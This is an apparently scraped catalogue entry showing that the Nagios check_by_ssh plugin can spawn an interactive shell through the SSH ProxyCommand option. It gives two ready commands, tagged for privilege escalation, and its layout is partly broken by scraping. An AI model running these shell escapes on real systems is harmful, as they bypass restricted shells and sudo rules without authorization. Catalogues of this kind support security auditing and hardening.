Nagios plugin for SSH check, can spawn a shell via ProxyCommand exploit.
check_by_ssh -o 'ProxyCommand /bin/sh -i' -H localhost -C x check_by_ssh -o 'ProxyCommand /bin/sh -i' -H localhost -C x Sandbox: execFile · Timeout: 30s
security.privilege-escalation.shell Outputs
process.output Shell output
process_spawn Produces
process.output| Resource | Value |
|---|---|
| CPU | low |
| Memory | 8 MB |
| Network | low |
| Disk I/O | low |
Spawn a shell via check_by_ssh ProxyCommand
check_by_ssh -o "ProxyCommand /bin/sh -i <$(tty) |& tee $(tty)" -H localhost -C x